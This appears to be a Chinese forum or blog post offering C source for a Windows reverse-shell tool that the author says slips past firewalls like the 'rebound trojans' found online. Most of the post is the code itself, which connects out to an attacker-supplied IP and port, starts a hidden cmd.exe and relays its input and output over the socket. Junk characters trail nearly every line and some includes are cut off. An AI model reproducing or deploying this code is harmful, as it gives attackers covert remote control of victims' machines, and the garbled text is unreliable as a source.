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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :4RD .l  
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/* ============================== :k9n 9  
Rebound port in Windows NT d Bn/_  
By wind,2006/7 t Dn{;ED<  
===============================*/ ~k>H4hV3  
#include ? IgM=@  
#include %GS^=Qr  
vt)u`/u  
#pragma comment(lib,"wsock32.lib") <^>O<P:v  
,S QmQ6h  
void OutputShell(); _"Yi>.{]  
SOCKET sClient; +Y;/10p  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a{*r^m'N  
Dn/{  s$\  
void main(int argc,char **argv) j)?[S  
{ '4 T}$a"i  
WSADATA stWsaData; &Luq}^u  
int nRet; n<RvL^T=  
SOCKADDR_IN stSaiClient,stSaiServer; a&oz<4oT  
}!-BZIOlO  
if(argc != 3) aVTTpMY  
{ ~2 aR>R_nT  
printf("Useage:\n\rRebound DestIP DestPort\n"); ZH6#(;b  
return; b {fZU?o  
} cb|cYCo5  
w0W9N%f#=  
WSAStartup(MAKEWORD(2,2),&stWsaData); pxC:VJ;  
3i1e1Lj1  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *^agwQ`  
ig G8L  
stSaiClient.sin_family = AF_INET; Y:UDte[Lb  
stSaiClient.sin_port = htons(0); ErZYPl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3%`asCW$  
+<qmVW^X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P]V/<8o.53  
{ YT:])[gVV  
printf("Bind Socket Failed!\n"); q6E8^7RtS@  
return; 7bcl^~lY  
} , c3gW2E  
^\|Hz\"*  
stSaiServer.sin_family = AF_INET; D9.H<.|36  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -<e8\Z`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TNgf96) y  
X{2))t%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) r(qAe{  
{ "p,TYjT?R  
printf("Connect Error!"); xnz(hz6  
return; Th"0Cc)  
} )1de<# qM  
OutputShell(); $:&?!>H  
} 2@!Ou$W  
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void OutputShell() p\xi5z  
{ h$\+r<  
char szBuff[1024]; IC5[:UZ5]  
SECURITY_ATTRIBUTES stSecurityAttributes; 9hoTxWpmy  
OSVERSIONINFO stOsversionInfo; ?[Gj?D.Wc  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ruqx #]-  
STARTUPINFO stStartupInfo; Um4$. BKD  
char *szShell;  -w7g}  
PROCESS_INFORMATION stProcessInformation; +[W_J z  
unsigned long lBytesRead; f+A!w8E  
c:;m BS>~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8M9LY9C  
x[%z \  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aX`@WXK  
stSecurityAttributes.lpSecurityDescriptor = 0; fMg3  
stSecurityAttributes.bInheritHandle = TRUE; sqKLz  
h5@v:4Jjo~  
R.ZC|bPiD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y~ubH{O#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -v]v m3Na  
F|Y}X|x8Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); p~X=<JM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z]Zs"$q@  
stStartupInfo.wShowWindow = SW_HIDE; 1rhEk|pGZ  
stStartupInfo.hStdInput = hReadPipe; funHznRR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]{2Eo  
gW0{s[}T  
GetVersionEx(&stOsversionInfo); ZH o#2{F  
(<.uvq61  
switch(stOsversionInfo.dwPlatformId) {u 7%Z}<0  
{ 8vP:yh@  
case 1: a04I.5!  
szShell = "command.com"; Z{' .fq2A  
break; W.nQYH  
default: NhP&sQO  
szShell = "cmd.exe"; fDq`.ZW)s  
break; c UJUZ@ol  
} Z:TW{:lrI  
X?3?R\/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IiX`l6L~W  
^ W/,Z`  
send(sClient,szMsg,77,0); WziX1%0$n  
while(1) gOk<pRcTb=  
{ |dP[_nh?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -;VKtBXP</  
if(lBytesRead) m\h. sg&  
{ Q#wl1P  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S`N_},  
send(sClient,szBuff,lBytesRead,0); Yh^~4S?  
} 0zscOE{  
else ?/EyfTex  
{ Ds}ctL{6"  
lBytesRead=recv(sClient,szBuff,1024,0); cwe@W PE2  
if(lBytesRead<=0) break; $s[DT!8N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #zRT  
} ,F4 _ps?(  
} qa|"kRCO  
PA=.)8  
return; 9lT6fW`v1Q  
}
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